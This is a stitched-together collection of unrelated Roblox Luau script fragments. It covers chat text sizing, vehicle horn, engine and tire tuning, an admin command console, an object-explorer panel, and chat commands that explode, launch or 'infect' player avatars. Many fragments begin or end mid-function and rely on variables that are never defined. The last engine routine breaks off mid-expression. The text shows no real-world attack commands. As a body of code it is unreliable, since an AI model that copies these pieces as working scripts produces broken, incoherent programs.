local KEY_BASE_FRAME = "BaseFrame" local KEY_BASE_MESSAGE = "BaseMessage" local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction" local KEY_GET_HEIGHT = "GetHeightFunction" local KEY_FADE_IN = "FadeInFunction" local KEY_FADE_OUT = "FadeOutFunction" local KEY_UPDATE_ANIMATION = "UpdateAnimFunction" local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local clientChatModules = script.Parent.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local module = {} local methods = {} methods.__index = methods local testLabel = Instance.new("TextLabel") testLabel.Selectable = false testLabel.TextWrapped = true testLabel.Position = UDim2.new(1, 0, 1, 0) function WaitUntilParentedCorrectly() while not testLabel:IsDescendantOf(LocalPlayer) do testLabel.AncestryChanged:wait() end end local TextSizeCache = {} function methods:GetStringTextBounds(text, font, textSize, sizeBounds) WaitUntilParentedCorrectly() sizeBounds = sizeBounds or false if not TextSizeCache[text] then TextSizeCache[text] = {} end if not TextSizeCache[text][font] then TextSizeCache[text][font] = {} end if not TextSizeCache[text][font][sizeBounds] then TextSizeCache[text][font][sizeBounds] = {} end if not TextSizeCache[text][font][sizeBounds][textSize] then testLabel.Text = text testLabel.Font = font testLabel.TextSize = textSize if sizeBounds then testLabel.TextWrapped = true; testLabel.Size = sizeBounds else testLabel.TextWrapped = false; end TextSizeCache[text][font][sizeBounds][textSize] = testLabel.TextBounds end return TextSizeCache[text][font][sizeBounds][textSize] end
-- // Variables
local bloodPart = script:WaitForChild("BloodPart") local bloodParticles = script:WaitForChild("BloodParticles") local bloodCache = workspace:FindFirstChild("BloodCache")
--[[** ensures all keys in given table pass check @param check The function to use to check the keys @returns A function that will return true iff the condition is passed **--]]
function t.keys(check) assert(t.callback(check)) return function(value) local tableSuccess = t.table(value) if tableSuccess == false then return false end for key in pairs(value) do local success = check(key) if success == false then return false end end return true end end
-- When the weapon is deactivated
function weaponTemplate:OnDeactivate() end function weaponTemplate:OnStartFiring() end function weaponTemplate:OnStopFiring() end function weaponTemplate:OnFire() end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Apple
--[[ UseLocalCharacters will override the fetching for the costumes that are displayed in the "Characters" tab. For the regular avatar editor this should be false to normally fetch a users costumes. ]]
return not UseRegularAvatarEditor
--// F key, Horn
uis.InputEnded:connect(function(input) if input.KeyCode==Enum.KeyCode.ButtonL3 or input.KeyCode==Enum.KeyCode.F then script.Parent.Parent.Horn.TextTransparency = 0.8 veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 script.Parent.Parent.MBOV.Visible = true script.Parent.Parent.MBOV.Text = "Made by OfficerVargas" end end)
-- Listen for player's character events and create/destroy an associated OrientableBody
local function onPlayerEntered(player: Player) if player.Character then onCharacterAdded(player, player.Character) end characterAddedConnections[player] = player.CharacterAdded:Connect(function(character) onCharacterAdded(player, character) end) characterRemovingConnections[player] = player.CharacterRemoving:Connect(function() if orientableBodies[player] then orientableBodies[player]:destroy() orientableBodies[player] = nil end end) end
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name --// Be sure to update the console gui's code if you change stuff
return function(data, env) if env then setfenv(1, env) end if not data.Question then return end local gTable = data.gTable local baseClip = script.Parent.Parent.BaseClip local duration = data.Duration or data.Timeout local toReturn local confirmationTemplate = baseClip.Frame local confirmationClone = confirmationTemplate confirmationClone.Parent = baseClip confirmationClone.Position = UDim2.new(0.5,-210,0,-confirmationClone.Size.Y.Offset) confirmationClone.Visible = true local Body = confirmationClone:WaitForChild('Body') local Options = Body:WaitForChild('Options') local Confirm,Cancel = Options:WaitForChild('Confirm'),Options:WaitForChild('Cancel') local commandText = Body:WaitForChild('Command') local title = confirmationTemplate.Top.Title commandText.Text = data.Subtitle or " " Body.Ques.Text = data.Question or "Unknown" title.Text = data.Title or "Yes/No Prompt" Body.Options.Cancel.Text = data.No or "No" Body.Options.Confirm.Text = data.Yes or "Yes" gTable:Ready() gTable.CustomDestroy = function() gTable.CustomDestroy = nil gTable.ClearEvents() if toReturn == nil then toReturn = data.No or "No" end pcall(function() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) wait(0.3) end) gTable:Destroy() end confirmationClone:TweenPosition(UDim2.new(0.5,-210,0.5,-70),"Out",'Quint',0.3,true) local Confirming; Confirming = gTable.BindEvent(Confirm.MouseButton1Click, function() Confirming:Disconnect() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) toReturn = data.Yes or "Yes" wait(0.3) gTable:Destroy() end) local Cancelling; Cancelling = gTable.BindEvent(Cancel.MouseButton1Click, function() Cancelling:Disconnect() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) toReturn = data.No or "No" wait(0.3) gTable:Destroy() end) local start = tick() repeat wait() until toReturn ~= nil or (duration and (tick()-duration) > duration) if toReturn == nil then toReturn = false end return toReturn end
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part. --------------------
script.Parent.Upgrader.Touched:connect(function(Part) if Part:FindFirstChild("Cash") then Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce if meshUpgrade == true then for i,v in pairs(Part:GetChildren())do if v:IsA("SpecialMesh") then v:remove() end end local m = Instance.new("SpecialMesh",Part) m.MeshId = meshID m.TextureId = textureID end end end)
--// All global vars will be wiped/replaced except script --// All guis are autonamed codeName..gui.Name
return function(data, env) if env then setfenv(1, env) end local player = service.Players.LocalPlayer local playergui = player.PlayerGui local gui = script.Parent.Parent local frame = gui.Frame local text = gui.Frame.TextBox local scroll = gui.Frame.ScrollingFrame local players = gui.Frame.PlayerList local entry = gui.Entry local BindEvent = gTable.BindEvent local opened = false local scrolling = false local scrollOpen = false local debounce = false local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"}) local splitKey = settings.SplitKey local consoleKey = settings.ConsoleKeyCode local batchKey = settings.BatchKey local prefix = settings.Prefix local commands = client.Remote.Get('FormattedCommands') or {} local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 140); }) local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 40); }) local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0, 0); }) local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0, -200); }) frame.Position = UDim2.new(0,0,0,-200) frame.Visible = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false if client.Variables.ConsoleOpen then if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end end client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') local function close() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) scroll.ScrollingEnabled = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end consoleCloseTween:Play(); --service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) --frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) debounce = false opened = false end end local function open() if gui:IsDescendantOf(game) and not debounce then debounce = true client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') service.StarterGui:SetCoreGuiEnabled("Chat",false) service.StarterGui:SetCoreGuiEnabled('PlayerList',false) scroll.ScrollingEnabled = true players.ScrollingEnabled = true if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = false end consoleOpenTween:Play(); frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false text.Text = '' frame.Visible = true frame.Position = UDim2.new(0,0,0,0) text:CaptureFocus() text.Text = '' wait() text.Text = '' debounce = false opened = true end end text.FocusLost:Connect(function(enterPressed) if enterPressed then if text.Text~='' and string.len(text.Text)>1 then client.Remote.Send('ProcessCommand',text.Text) end end close() end) text.Changed:Connect(function(c) if c == 'Text' and text.Text ~= '' and open then if string.sub(text.Text, string.len(text.Text)) == " " then if players:FindFirstChild("Entry 0") then text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." " elseif scroll:FindFirstChild("Entry 0") then text.Text = string.split(scroll["Entry 0"].Text, "<")[1] else text.Text = text.Text..prefix end text.CursorPosition = string.len(text.Text) + 1 text.Text = string.gsub(text.Text, " ", "") end scroll:ClearAllChildren() players:ClearAllChildren() local nText = text.Text if string.match(nText,".*"..batchKey.."([^']+)") then nText = string.match(nText,".*"..batchKey.."([^']+)") nText = string.match(nText,"^%s*(.-)%s*$") end local pNum = 0 local pMatch = string.match(nText,".+"..splitKey.."(.*)$") for i,v in next,service.Players:GetPlayers() do if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then local new = entry:Clone() new.Text = tostring(v) new.Name = "Entry "..pNum new.TextXAlignment = "Right" new.Visible = true new.Parent = players new.Position = UDim2.new(0,0,0,20*pNum) new.MouseButton1Down:Connect(function() text.Text = text.Text..tostring(v) text:CaptureFocus() end) pNum = pNum+1 end end players.CanvasSize = UDim2.new(0,0,0,pNum*20) local num = 0 for i,v in next,commands do if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then if not scrollOpen then scrollOpenTween:Play(); --frame.Size = UDim2.new(1,0,0,140) scroll.Visible = true players.Visible = true scrollOpen = true end local b = entry:Clone() b.Visible = true b.Parent = scroll b.Text = v b.Name = "Entry "..num b.Position = UDim2.new(0,0,0,20*num) b.MouseButton1Down:Connect(function() text.Text = b.Text text:CaptureFocus() end) num = num+1 end end frame.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140)) scroll.CanvasSize = UDim2.new(0,0,0,num*20) elseif c == 'Text' and text.Text == '' and opened then scrollCloseTween:Play(); --service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) scroll.Visible = false players.Visible = false scrollOpen = false scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) end end) service.HookEvent('ToggleConsole', function() if opened then close() else open() end client.Variables.ConsoleOpen = opened end) BindEvent(service.UserInputService.InputBegan, function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then service.Events.ToggleConsole:Fire() end end) gTable:Ready() end
-- Variables for character joints
local neck, shoulder, oldNeckC0, oldShoulderC0 local mobileShouldTrack = true
-- padding between each entry
local ENTRY_MARGIN = 1 local explorerPanel = script.Parent local Input = game:GetService("UserInputService") local HoldingCtrl = false local HoldingShift = false local addObject local removeObject local gameChildren = {} table.insert(gameChildren, game:GetService("Workspace")) table.insert(gameChildren, game:GetService("Players")) table.insert(gameChildren, game:GetService("Lighting")) pcall(function() table.insert(gameChildren, game:GetService("MaterialService")) end) table.insert(gameChildren, game:GetService("ReplicatedFirst")) table.insert(gameChildren, game:GetService("ReplicatedStorage")) pcall(function() table.insert(gameChildren, game:GetService("CoreGui")) end) table.insert(gameChildren, game:GetService("StarterGui")) table.insert(gameChildren, game:GetService("StarterPack")) table.insert(gameChildren, game:GetService("StarterPlayer")) table.insert(gameChildren, game:GetService("SoundService")) table.insert(gameChildren, game:GetService("Chat")) table.insert(gameChildren, game:GetService("LocalizationService")) table.insert(gameChildren, game:GetService("TestService")) local childrenGame = {} childrenGame[game:GetService("Workspace")] = true childrenGame[game:GetService("Players")] = true childrenGame[game:GetService("Lighting")] = true pcall(function() childrenGame[game:GetService("MaterialService")] = true end) childrenGame[game:GetService("ReplicatedFirst")] = true childrenGame[game:GetService("ReplicatedStorage")] = true pcall(function() childrenGame[game:GetService("CoreGui")] = true end) childrenGame[game:GetService("StarterGui")] = true childrenGame[game:GetService("StarterPack")] = true childrenGame[game:GetService("StarterPlayer")] = true childrenGame[game:GetService("SoundService")] = true childrenGame[game:GetService("Chat")] = true childrenGame[game:GetService("LocalizationService")] = true childrenGame[game:GetService("TestService")] = true local MuteHiddenItems = true local DexOutput = Instance_new("Folder") DexOutput.Name = "Output" local DexOutputMain = Instance_new("ScreenGui", DexOutput) DexOutputMain.Name = "Dex Output" local HiddenEntries = Instance_new("Folder") local HiddenGame = Instance_new("Folder") HiddenEntries.Name = "HiddenEntriesParent" local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries) Instance_new("Folder", HiddenEntriesMain) local function NameHiddenEntries() if MuteHiddenItems then HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items" else HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items" end end NameHiddenEntries() local orgprint = print local function print(...) local Obj = Instance_new("Dialog") Obj.Parent = DexOutputMain Obj.Name = "" for i,v in pairs(table.pack(...)) do Obj.Name = Obj.Name .. tostring(v) .. " " end end explorerPanel:WaitForChild("GetPrint").OnInvoke = function() return print end local VerboseLoging = true local function log(func, ...) if VerboseLoging then func(...) end end
-- A table that defines an instance's properties, handlers and children. -- FUTURE: Typed Luau is not advanced enough to express this type in full -- specificity yet, so we have to settle for some runtime type checking here. -- In psuedo-Luau, this definition should be akin to the following: -- export type PropertyTable<ClassName> = { -- [ClassName::Property]: CanBeState<Property::Value> -- [OnEventKey]: (any...) -> (), -- [OnChangeKey]: (any) -> (), -- [ChildrenKey]: Children -- }
export type PropertyTable = { [string | OnEventKey | OnChangeKey | ChildrenKey]: any } return nil
-- local mod=game.Workspace.Base
local mod=script.Parent
--[[ setup emote chat hook game:GetService("Players").LocalPlayer.Chatted:connect(function(msg) local emote = "" if (string.sub(msg, 1, 3) == "/e ") then emote = string.sub(msg, 4) elseif (string.sub(msg, 1, 7) == "/emote ") then emote = string.sub(msg, 8) end if (pose == "Standing" and emoteNames[emote] ~= nil) then playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) end end) -- emote bindable hook if FFlagAnimateScriptEmoteHook then script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) return true elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) return true end -- Return false to indicate that the emote could not be played return false end end]]
--//ENGINE//--
local Horsepower = 430 --{This is how much power your engine block makes ALONE, this does not represent to total horsepower output [IF you have a turbo/SC]} local EngineDisplacement = 3000 --{Engine size in CC's} local EngineType = "Diesel" --{Petrol, Diesel, Electric] local EngineLocation = "Front" --{Front, Mid, Rear} local ForcedInduction = "Single" --{Natural, Single, Twin, Supercharger} local InductionPartSize = 1.5 --{0-5, 1 being small, 5 being large (Decimals accepted, e.g 2.64 turbo size, this is the size of the turbo} local ElectronicallyLimited = false --{Electronically Limit the top speed of your vehicle} local LimitSpeedValue = 100 --{Limits top speed of the vehicle [In MPH]}
--task.spawn(function()
while true do task.wait() for i, part in pairs(car:GetChildren()) do if part.Name == "Thruster" then UpdateThruster(part) end end if car.DriveSeat.Occupant then local ratio = car.DriveSeat.Velocity.magnitude / stats.Speed.Value car.EngineBlock.Running.Pitch = 1 + ratio / 4 bodyPosition.MaxForce = Vector3.new() bodyGyro.MaxTorque = Vector3.new() else local hit, position, normal = Raycast.new(car.Chassis.Position, car.Chassis.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) if hit and hit.CanCollide then bodyPosition.MaxForce = Vector3.new(mass / 5, math.huge, mass / 5) bodyPosition.Position = (CFrame.new(position, position + normal) * CFrame.new(0, 0, -stats.Height.Value + 0.5)).p bodyGyro.MaxTorque = Vector3.new(math.huge, 0, math.huge) bodyGyro.CFrame = CFrame.new(position, position + normal) * CFrame.Angles(-math.pi/2, 0, 0) else bodyPosition.MaxForce = Vector3.new() bodyGyro.MaxTorque = Vector3.new() end end end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local mouse = game.Players.LocalPlayer:GetMouse() local car = script.Parent.Car.Value local horn = car.DriveSeat:WaitForChild("Horn") local FE = workspace.FilteringEnabled local handler = car:WaitForChild("Horn_FE") mouse.KeyDown:connect(function(key) if key=="h" then if FE then handler:FireServer() else horn:Play() end end end) game:GetService("UserInputService").InputBegan:connect(function(input,IsRobloxFunction) if input.KeyCode ==Enum.KeyCode.ButtonB and input.UserInputState == Enum.UserInputState.Begin then if FE then handler:FireServer() else horn:Play() end end end)
--Var
local RichTextEscapeCharacters = { {"&lt;"}, {"&gt;"}, {"&quot;"}, {"&apos;"}, {"&amp;"} }
--> functions
script.Parent.MouseButton1Click:connect(function() fovCamera.FieldOfView = 70 end)
-- << VARIABLES >>
local hiddenGuis = {} local lasersActive = {} local originalNecks = {} local laserTweenTime = 0.7 local laserTweenInfo = TweenInfo.new(laserTweenTime)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.BatSword
--Credit for the infectontouch script goes to whoever it is that made it.
createscript( [[ wait(1) function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then if cantouch~=0 then if h.Parent~=script.Parent.Parent then if h.Parent:findFirstChild("zarm")~=nil then return end cantouch=0 local larm=h.Parent:findFirstChild("Left Arm") local rarm=h.Parent:findFirstChild("Right Arm") if larm~=nil then larm:remove() end if rarm~=nil then rarm:remove() end local zee=script.Parent.Parent:findFirstChild("zarm") if zee~=nil then local zlarm=zee:clone() local zrarm=zee:clone() if zlarm~=nil then local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot zlarm.Parent=h.Parent zrarm.Parent=h.Parent zlarm:makeJoints() zrarm:makeJoints() zlarm.Anchored=false zrarm.Anchored=false wait(0.1) h.Parent.Head.Color=zee.Color else return end end wait(1) cantouch=1 end end end end end script.Parent.Touched:connect(onTouched) ]],zarm) zarm.Name = "zarm" local zarm2 = zarm:clone() zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot zarm.Parent = player[i].Character zarm:MakeJoints() zarm2.Parent = player[i].Character zarm2:MakeJoints() local head = player[i].Character:FindFirstChild("Head") if head ~= nil then head.Color = Color3.new(0.631373, 0.768627, 0.545098) end end end end end end if string.sub(msg,1,8) == "explode/" then local player = findplayer(string.sub(msg,9),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local ex = Instance.new("Explosion") ex.Position = torso.Position ex.Parent = game.Workspace end end end end end if string.sub(msg,1,7) == "rocket/" then local player = findplayer(string.sub(msg,8),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local r = Instance.new("Part") r.Name = "Rocket" r.Size = Vector3.new(1,8,1) r.TopSurface = "Smooth" r.BottomSurface = "Smooth" local w = Instance.new("Weld") w.Part1 = torso w.Part0 = r w.C0 = CFrame.new(0,0,-1) local bt = Instance.new("BodyThrust") bt.force = Vector3.new(0,5700,0) bt.Parent = r r.Parent = player[i].Character w.Parent = torso createscript([[ for i=1,120 do local ex = Instance.new("Explosion") ex.BlastRadius = 0 ex.Position = script.Parent.Position - Vector3.new(0,2,0) ex.Parent = game.Workspace wait(0.05) end local ex = Instance.new("Explosion") ex.BlastRadius = 10 ex.Position = script.Parent.Position ex.Parent = game.Workspace script.Parent.BodyThrust:remove() script.Parent.Parent.Humanoid.Health = 0 ]],r) end end end end end if string.sub(msg,1,8) == "ambient/" then local danumber1 = nil local danumber2 = nil for i = 9,100 do if string.sub(msg,i,i) == "/" then danumber1 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber1 == nil then return end for i =danumber1 + 1,danumber1 + 100 do if string.sub(msg,i,i) == "/" then danumber2 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber2 == nil then return end game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1)) end
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = 2 , FTargetFriction = 2 , FMinFriction = 1.5 , RWearSpeed = 2 , RTargetFriction = 2 , RMinFriction = 1.5 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = .5 , --SS6 Default = .5 RElasticity = .5 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 }
-- Sends the arc sin of the look vectors y component to interpolate the spine, arms, and head of the player.
local function onUpdate(dt) if Local_Player.Character then local theta = math.asin(Current_Camera.CFrame.LookVector.y) RE_UpdateSpine:FireServer(theta) end end Local_Player.CharacterAdded:Connect(function(character) -- If the character is destroyed then there's no need to update our spine character.Destroying:Connect(function(character) if renderStepHandle then renderStepHandle:Disconnect() renderStepHandle = nil end end) renderStepHandle = RunService.RenderStepped:Connect(onUpdate) end) Local_Player.CharacterRemoving:Connect(function(character) if renderStepHandle then renderStepHandle:Disconnect() renderStepHandle = nil end end)
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = true local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(.3,(.3+iComp))--here dum dum else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < 